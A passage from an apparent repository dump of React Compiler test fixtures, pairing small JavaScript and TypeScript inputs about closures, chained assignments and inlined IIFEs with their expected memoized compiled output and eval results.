    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\nfunction Component({a, b}) {\n  let z = {a};\n  let p = () => <Stringify>{z}</Stringify>;\n  return p();\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a) {\n    const z = { a };\n    const p = () => <Stringify>{z}</Stringify>;\n    t1 = p();\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1 }],\n  sequentialRenders: [{ a: 1 }, { a: 1 }, { a: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":{\"a\":1}}</div>\n<div>{\"children\":{\"a\":1}}</div>\n<div>{\"children\":{\"a\":2}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.js",
    "content": "import {Stringify} from 'shared-runtime';\nfunction Component({a, b}) {\n  let z = {a};\n  let p = () => <Stringify>{z}</Stringify>;\n  return p();\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate, Stringify} from 'shared-runtime';\nfunction Component({a}) {\n  let z = {a};\n  let x = function () {\n    let z;\n    mutate(z);\n    return z;\n  };\n  return <Stringify fn={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate, Stringify } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(1);\n\n  const x = _temp;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <Stringify fn={x} shouldInvokeFns={true} />;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\nfunction _temp() {\n  let z_0;\n  mutate(z_0);\n  return z_0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1 }],\n  sequentialRenders: [{ a: 1 }, { a: 1 }, { a: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.js",
    "content": "import {mutate, Stringify} from 'shared-runtime';\nfunction Component({a}) {\n  let z = {a};\n  let x = function () {\n    let z;\n    mutate(z);\n    return z;\n  };\n  return <Stringify fn={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction StoreLandingUnseenGiftModalContainer(a) {\n  const giftsSeen = {a};\n  return (gift => (gift.id ? giftsSeen[gift.id] : false))();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: StoreLandingUnseenGiftModalContainer,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction StoreLandingUnseenGiftModalContainer(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const giftsSeen = { a };\n    t0 = ((gift) => (gift.id ? giftsSeen[gift.id] : false))();\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: StoreLandingUnseenGiftModalContainer,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.js",
    "content": "function StoreLandingUnseenGiftModalContainer(a) {\n  const giftsSeen = {a};\n  return (gift => (gift.id ? giftsSeen[gift.id] : false))();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: StoreLandingUnseenGiftModalContainer,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x;\n  {\n    x = function () {\n      console.log(z);\n    };\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  let x;\n  let t1;\n  if ($[2] !== z) {\n    t1 = function () {\n      console.log(z);\n    };\n    $[2] = z;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  x = t1;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.js",
    "content": "function component(a) {\n  let z = {a};\n  let x;\n  {\n    x = function () {\n      console.log(z);\n    };\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x = function () {\n    console.log(z.a);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  let t1;\n  if ($[2] !== z.a) {\n    t1 = function () {\n      console.log(z.a);\n    };\n    $[2] = z.a;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const x = t1;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.js",
    "content": "function component(a) {\n  let z = {a};\n  let x = function () {\n    console.log(z.a);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    z.a.a();\n  };\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a: { a } };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.js",
    "content": "function component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    z.a.a();\n  };\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    (function () {\n      console.log(z.a.a);\n    })();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a: { a } };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  let t1;\n  if ($[2] !== z.a.a) {\n    t1 = function () {\n      (function () {\n        console.log(z.a.a);\n      })();\n    };\n    $[2] = z.a.a;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const x = t1;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.js",
    "content": "function component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    (function () {\n      console.log(z.a.a);\n    })();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    console.log(z.a.a);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a: { a } };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  let t1;\n  if ($[2] !== z.a.a) {\n    t1 = function () {\n      console.log(z.a.a);\n    };\n    $[2] = z.a.a;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const x = t1;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.js",
    "content": "function component(a) {\n  let z = {a: {a}};\n  let x = function () {\n    console.log(z.a.a);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = 1;\n  (function () {\n    y = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = 1;\n\n    y = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2,\"wat0\":\"joe\"}\n{\"a\":2,\"wat0\":\"joe\"}\n{\"a\":3,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.js",
    "content": "import {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = 1;\n  (function () {\n    y = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x = function () {\n    {\n      console.log(z);\n    }\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const z = { a };\n    t0 = function () {\n      console.log(z);\n    };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.js",
    "content": "function component(a) {\n  let z = {a};\n  let x = function () {\n    {\n      console.log(z);\n    }\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x = function () {\n    (function () {\n      console.log(z);\n    })();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const z = { a };\n    t0 = function () {\n      (function () {\n        console.log(z);\n      })();\n    };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.js",
    "content": "function component(a) {\n  let z = {a};\n  let x = function () {\n    (function () {\n      console.log(z);\n    })();\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  let x,\n    y = (x = {});\n  const foo = () => {\n    x = makeArray();\n  };\n  foo();\n  return [y, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(3);\n  let x;\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    y = x = {};\n    const foo = () => {\n      x = makeArray();\n    };\n\n    foo();\n    $[0] = x;\n    $[1] = y;\n  } else {\n    x = $[0];\n    y = $[1];\n  }\n  let t0;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [y, x];\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.js",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  let x,\n    y = (x = {});\n  const foo = () => {\n    x = makeArray();\n  };\n  foo();\n  return [y, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = {x: 0};\n  const y = {z: 0};\n  const z = {z: 0};\n  x.x += y.y *= 1;\n  z.z += y.y *= x.x &= 3;\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let z;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = { x: 0 };\n    const y = { z: 0 };\n    z = { z: 0 };\n    x.x = x.x + (y.y = y.y * 1);\n    z.z = z.z + (y.y = y.y * (x.x = x.x & 3));\n    $[0] = z;\n  } else {\n    z = $[0];\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"z\":null}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.js",
    "content": "function foo() {\n  const x = {x: 0};\n  const y = {z: 0};\n  const z = {z: 0};\n  x.x += y.y *= 1;\n  z.z += y.y *= x.x &= 3;\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nclass Component {\n  _renderMessage = () => {\n    const Message = () => {\n      const message = this.state.message;\n      return <div>{message}</div>;\n    };\n    return <Message />;\n  };\n\n  render() {\n    return this._renderMessage();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nclass Component {\n  _renderMessage = () => {\n    const Message = () => {\n      const message = this.state.message;\n      return <div>{message}</div>;\n    };\n    return <Message />;\n  };\n\n  render() {\n    return this._renderMessage();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\nclass Component {\n  _renderMessage = () => {\n    const Message = () => {\n      const message = this.state.message;\n      return <div>{message}</div>;\n    };\n    return <Message />;\n  };\n\n  render() {\n    return this._renderMessage();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  let w = {};\n  return makeArray(\n    (w = 42),\n    w,\n    (function foo() {\n      w = 999;\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray, print } from \"shared-runtime\";\n\nfunction useTest() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let w = {};\n    const t1 = (w = 42);\n    const t2 = w;\n\n    w = 999;\n    t0 = makeArray(t1, t2, 2);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42,42,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.ts",
    "content": "import {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  let w = {};\n  return makeArray(\n    (w = 42),\n    w,\n    (function foo() {\n      w = 999;\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  let w = {};\n  return makeArray(\n    (w.x = 42),\n    w.x,\n    (function foo() {\n      w.x = 999;\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray, print } from \"shared-runtime\";\n\nfunction useTest() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const w = {};\n    const t1 = (w.x = 42);\n    const t2 = w.x;\n\n    w.x = 999;\n    t0 = makeArray(t1, t2, 2);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42,42,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.ts",
    "content": "import {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  let w = {};\n  return makeArray(\n    (w.x = 42),\n    w.x,\n    (function foo() {\n      w.x = 999;\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  return makeArray<number | void>(\n    print(1),\n    (function foo() {\n      print(2);\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray, print } from \"shared-runtime\";\n\nfunction useTest() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const t1 = print(1);\n\n    print(2);\n    t0 = makeArray(t1, 2);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null,2]\nlogs: [1,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.ts",
    "content": "import {makeArray, print} from 'shared-runtime';\n\nfunction useTest() {\n  return makeArray<number | void>(\n    print(1),\n    (function foo() {\n      print(2);\n      return 2;\n    })(),\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { shouldInstrument, useRenderCounter } from \"react-compiler-runtime\";\nimport { c as _c } from \"react/compiler-runtime\"; // @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nfunction Bar(props) {\n  \"use forget\";\n  if (DEV && shouldInstrument)\n    useRenderCounter(\"Bar\", \"/codegen-instrument-forget-test.ts\");\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.bar) {\n    t0 = <div>{props.bar}</div>;\n    $[0] = props.bar;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  \"use forget\";\n  if (DEV && shouldInstrument)\n    useRenderCounter(\"Foo\", \"/codegen-instrument-forget-test.ts\");\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.bar) {\n    t0 = <Foo>{props.bar}</Foo>;\n    $[0] = props.bar;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.js",
    "content": "// @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  label: if (a) {\n    while (b) {\n      if (c) {\n        break label;\n      }\n    }\n  }\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  bb0: if (a) {\n    while (b) {\n      if (c) {\n        break bb0;\n      }\n    }\n  }\n\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.js",
    "content": "function foo(a, b, c) {\n  label: if (a) {\n    while (b) {\n      if (c) {\n        break label;\n      }\n    }\n  }\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.expect.md",
